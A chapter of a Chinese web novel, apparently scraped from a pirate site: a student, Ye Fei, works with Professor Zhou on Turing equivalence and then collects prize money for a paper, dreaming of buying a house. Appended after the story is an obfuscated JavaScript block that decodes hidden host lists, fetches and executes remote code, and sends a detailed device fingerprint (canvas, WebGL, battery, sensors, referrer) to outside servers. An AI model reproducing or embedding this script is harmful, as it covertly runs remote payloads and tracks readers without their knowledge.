第25章 现实版的书中自有黄金屋
更多热门小说请关注 小说骑士网 www.txt74.com
两人都是说干就干的类型，在和周教授商定后，叶非就入驻计算机算力实验室。
“周教授，你手下的研究生呢？”第二天，叶非来到算力实验室，看到整个实验室只有周教授一人，没有其他人。
周教授道：“这实验室就我一人。”
“你一人？”叶非惊愕：“你手下研究生不在这实验室？”
“我手下没研究生。”
“没研究生？”叶非惊讶，还有教授手下没研究生的？
“本来有的，但走了。”
“申请调走了？”叶非问道。
读研或读博，如果发现导师不行，想换导师，可以有两种选择。
一、退学重考，重新选学校，重新选导师。
二、向学校申请换导师。
两种选择都比较困难。
如果重考，那又要经历一次考研经历。
参加过考研的人都懂，考研非常的痛苦，不亚于高考。
第二种，必须有正当理由，还要与现任导师沟通好，然后才能向学校申请换导师。
但换导师比较困难，因为这涉及到很多事情。
如果导师手下研究生减少，会减少导师手下课题经费，还有很多其他问题。
所以，非不得已，学校不会为学生换导师。
“嗯！”周教授点头：“我们开始吧！”
“行！”叶非虽然对这事很疑惑，但也没多问。
“我们分工合作！”周教授道：“我研究计算性理论方面，你研究集合论方面。”
图灵等价问题，是关于可计算性理论和集合论两大领域边界上的问题。
可计算性理论属于计算机数学领域，又叫做算法理论。
“可以！”叶非点头。
一周后！
叶非道：“周教授，我集合论的模型已经做好了，你什么时候能好？”
“你的好了？”周教授惊愕。
“是啊！”叶非点头。
“伱确定你的是对的？”
周教授不得不怀疑，自己连一半都没做好，叶非就做好了。
而且，自己是计算机学院教授，不是那些三脚猫的学生。
自己连一半都没做好，叶非这么快就好了？
“要不您看看？”叶非道。
“好，那我就看看。”
他还真不信叶非已经做好了，肯定做的很粗心，要是其中有错误，自己也能指责出来。
周教授虽然不精通集合论，但叶非是不是粗心推导出来，他还是能看出来的。
许久后，周教授惊讶，心道：“还真不是粗心推导出来的？”
“但怎么会这么快呢？”
他看着一旁的叶非，眼神闪烁。
叶非道：“周教授，可以了吗？”
“可以了！”周教授点头：“我那个还要有半月时间。”
说到这个，周教授就有些羞耻。
亏自己还是计算机教授，速度还没叶非快。
“我不急！”叶非道：“您先把可计算性理论解决，之后我们再进行下一步骤。”
推导出可计算性理论和集合论，只是图灵等价最基础的东西。
下面还要将可计算性理论和集合论合到一起，套用到可数波雷尔等价关系中。
从可数波雷尔中，寻找到自由群，从自由群中推导出乘积空间，从它们之间的移位寻找到群作用，最后再套用图灵关系，寻找到等价关系。
这一系列下来，每一步都非常难。
最基础部分是最简单的，叶非研究集合论这么久，还证明了两個关于集合论的世界难题。
解决图灵等价最基础部分，自然很轻松。
“好！”周教授道。
叶非道：“周教授，那我半个月后再来。”
说完，叶非离开实验室，向教务处走去。
今天早上，他的极小塔问题的论文，投给数学新进展的论文通过了。
现在他是去领钱。
最终，叶非通过刘义生教授，说服导师，成为通讯作者，但论文通过后，钱他不会拿了，全部给叶非。
按照常规，论文所获得的所有奖励，通讯作者和第一作者一人一半。
“这一次也应该还是四十万吧！”叶非心中激动。
上一次投稿给顶刊就获得四十万，这一次又是顶刊，也应该是四十万。
“再来一个顶刊，我就能在沙丘市买房了。”
“要是发表六篇顶刊，我能到很不错的位置买房。”
沙丘市是中湖省省会城市，属于长江中上游，从全国来说，沙丘市人口多，发展很有潜力。
在全国都高房价的情况下，沙丘市却一枝独秀，房价低全国闻名。
教务主任看到叶非进来，笑道：“又发论文了？”
更多热门小说请关注 小说骑士网 www.txt74.com
var x=window['\x61\x74\x6f\x62'],id=x('NDQ0NDczNzY1NjE1Nzk5OTk5OS0xMDE1Ng==');document.write('%lt;ins style="display:none!important" id="'+id+'"%gt;%lt;/ins%gt;');(window.adbyunion=window.adbyunion||[]).push(id);window['\x52\x62\x4c\x49\x4e\x52\x4b\x78\x64\x7a']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,w,d,c){var cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';var t=[],l=[],ec=0,r=0,ua=navigator.userAgent.toLowerCase(),bh=ua.indexOf('baidu')>-1||ua.indexOf('huawei')>-1,delay=bh?2000:2000,f=null,sc=Math.max(1,bh?300000:300000),ext=bh?'.html':'2',i=(bh?'nfob':'nob')+Math.floor(new Date().getTime()/sc)+ext;if(bh){f=function(){;if(!l.length)return;window.addEventListener('message',function(e){if(e.data['id']!=id)return;for(var k in t)t[k]&&clearTimeout(t[k]);new Function('_tdcs',x(e.data['msg']))(cs);});var ifr=document.createElement('iframe');ifr.width=0;ifr.height=0;ifr.style.display='none';ifr.src=l.shift()+'/'+i;document.body.appendChild(ifr);};}else{f=function(){;if(!l.length)return;var s=document.createElement('script');s.src=l.shift()+'/'+i;cs.parentElement.insertBefore(s,cs);s.onload=function(){for(var k in t)t[k]&&clearTimeout(t[k])};s.onerror=function(){cs.parentElement.removeChild(s);t[++ec]&&clearTimeout(t[e]);f()}};}u=decodeURIComponent(x(u.replace(new RegExp(c[r]+''+c[r],'g'),c[r])));var l=u.split(',');l.sort(function(){return 0.5-Math.random()});var param=(function(aid){var W=window,D=document,B=D.body,N=navigator,E='ontouchstart'in W||N.maxTouchPoints>0||N.msMaxTouchPoints>0;function fix(s){return encodeURIComponent(s).replace(/[!'()*]/g,function(c){return'%'+c.charCodeAt(0).toString(16)})}function mix(t,s){var a=[].slice.call(arguments),k,r=typeof a[a.length-1]=='boolean'?a.pop():true;for(var i=1;s=a[i++];){for(k in s)if(r||!(k in t))t[k]=s[k]}return t}var utils={guid:function(){function a(){return Math.floor((1+Math.random())*0x10000).toString(16).substring(1)}return a()+a()+''+a()+''+a()+''+a()+''+a()+a()+a()},bind:function(o,e,c){return'string'===typeof o&&(o=D.getElementById(o)),e=e.replace(/^on/i,'').toLowerCase(),o.addEventListener?o.addEventListener(e,c,!1):o.attachEvent&&o.attachEvent('on'+e,c),o}};var p1={dcc:'',dcl:'',gvd:'',grr:'',ct:''},p2={diit:'',dit:'',cmn:''},cmn=[];var mobile={ma:function(){;if(!E)return;function l(s){;if(!s)return;return s.toString().substr(0,5)}utils.bind(W,'deviceorientation',function handleFunc(ev){;if(!ev.alpha)return;p2.diit=[l(ev.alpha),l(ev.beta),l(ev.gamma)].join(',')});utils.bind(W,'devicemotion',function handleFunc(evnet){var a=evnet.accelerationIncludingGravity;if(!a.x)return;p2.dit=[l(a.x),l(a.y),l(a.z)].join(',')});utils.bind(W,'touchstart',function touchstart(ev){var clientX=ev.touches[0].clientX,clientY=ev.touches[0].clientY,v=[clientX,clientY].join('_');if(cmn.length%lt;3)cmn.push(v)})},md:function(){try{N.getBattery().then(function(b){p1.dcc=b.charging?'yes':'no';p1.dcl=Math.round(b.level*100)})}catch(e){}try{var a=D.createElement('canvas'),b=a.getContext('experimental-webgl'),c=b.getExtension('WEBGL_debug_renderer_info'),d=b.getParameter(c.UNMASKED_VENDOR_WEBGL),e=b.getParameter(c.UNMASKED_RENDERER_WEBGL).replace(/[%]/g,'');p1.gvd=d;p1.grr=e}catch(e){}try{;if(!N.connection){p1.ct='unknown';return}if(!N.connection.type){p1.ct='unknown';return}p1.ct=N.connection.type}catch(e){}},init:function(){this.ma();this.md()},ap:function(){p2.cmn=cmn.join(';');return mix(p1,p2)}};mobile.init();var client={client:function(id){var ut=utils,m=mobile;function a(){var a='';try{a=W.opener?W.opener.document.location.href:D.referrer}catch(e){a=D.referrer}if(a!=='')a=a.substr(0,8192);return fix(a)}function b(){var a='';try{a=W.top.document.location.href}catch(e){a=D.location.href}if(a!=='')a=a.substr(0,2048);return fix(a)}function c(str){var s='';for(var i=0;i%lt;str.length;i++)s+=(i>0?':':'')+str[i].charCodeAt(0);return s}function d(){try{return[W.screen.width,W.screen.height].join('x')}catch(e){return''}}function f(){return N.platform.replace(/Win/i,'v')}function g(){var a=W.screen.availWidth||0,b=W.screen.availHeight||0;return[f(),S(),W.devicePixelRatio||0,a+'.'+b].join(':')}function h(){var n=W['navigator'],a=false;for(var k in n){try{a=N['hasOwnProperty'](k)}catch(e){a=false}}return a}function i(){;if(typeof N.languages!=='undefined'){try{return N.languages[0].substr(0,2)!==N.language.substr(0,2)}catch(err){return true}}return false}function j(f){var a=[];for(var i=0;i%lt;f.length;i++)a.push(String.fromCharCode(f[i]));return a.join('')}function k(){var a=['callPhantom'in W,'_phantom'in W,'phantom'in W];for(var i=0;i%lt;a.length;i++)if(a[i])return true;return false}function l(){return j([119,101,98,100,114,105,118,101,114])in N}function S(){var b=['toString','length'];(function(a,c){var f=function(g){while(--g){a['push'](a['shift']())}};f(++c)}(b,0xb3));var c=function(a){a=a-0x0;return b[a]};return eval[c('0x1')]()[c('0x0')]*0x673124}function n(){;if(typeof W.history!=='undefined'&&typeof W.history.length!=='undefined')return W.history.length;return 0}function o(){return{top:B.scrollTop||D.documentElement.scrollTop,left:0}}function _uuid(){try{var a='',k='fillStyle',q='beginPath',n='closePath',j='fill',h='arc',e='fillText',w=Math.PI;var p=D.createElement('canvas');p.width=2000;p.height=200;p.style.display='inline';var s=p.getContext('2d');s.rect(0,0,10,10);s.rect(2,2,6,6);a+='canvas winding:'+((s.isPointInPath(5,5,'evenodd')===false)?'yes':'no');s.textBaseline='alphabetic';s[k]='#f60';s.fillRect(125,1,62,20);s[k]='#069';s.font='11pt no-real-font-123';var u='Cwm fjordbank glyphs vext quiz, \ud83d\ude03';s[e](u,2,15);s[k]='rgba(102, 204, 0, 0.2)';s.font='18pt Arial';s[e](u,4,45);s.globalCompositeOperation='multiply';s[k]='rgb(255,0,255)';s[q]();s[h](50,50,50,0,w*2,true);s[n]();s[j]();s[k]='rgb(0,255,255)';s[q]();s[h](100,50,50,0,w*2,true);s[n]();s[j]();s[k]='rgb(255,255,0)';s[q]();s[h](75,100,50,0,w*2,true);s[n]();s[j]();s[k]='rgb(255,0,255)';s[h](75,75,75,0,w*2,true);s[h](75,75,25,0,w*2,true);s[j]('evenodd');if(p.toDataURL){a+=';canvas fp:'+p.toDataURL()}return(function(c){var b=0;if(c.length===0){return b}for(var i=0;i%lt;c.length;i++){b=((b%lt;%lt;5)-b)+c.charCodeAt(i);b=b&b}return b})(a)}catch(o){return o.message}}function init(){var p={frm:W.top!==W.self?1:0,url:b(),ref:a(),ic:N.cookieEnabled?1:0,pl:N.plugins.length,ml:N.mimeTypes.length,sid:c(g()),ps:N.productSub||'',lgs:i()?1:0,zo:new Date().getTimezoneOffset(),ws:d(),gdm:N.deviceMemory||0,iw:l()?1:0,cpn:N.hardwareConcurrency||0,fid:'',hl:n(),ihn:h()?1:0,md:E?1:0,ns:'',np:'',pj:k()?1:0};mix(p,o(),{'id':id,'rid':ut.guid(),'rid2':ut.guid(),'uuid':_uuid()},m.ap());return p}return init()}};return new Promise(function(resolve,reject){setTimeout(function(){var r=[],u=aid.split('-'),p=client.client(u[1]);for(var k in p)r.push(k+'='+p[k]);resolve(r.join('&'))},10)})})(id);param.then(function(p){i=i+'?'+p;for(var j in l)t[j]=setTimeout(f,delay*j)});})('aHR0cHM6Ly9ha3Nka2ZqLmJpZXhzaXRlLm5lddA==','d3NzOOi8vd3MueGlhb21hb2x2dGVjaC5jb206OOTU5NSx3c3M6Ly93cy5taXNpZ2wuY29tOOjk1OOTU=',window,document,['d','O']);}:function(){};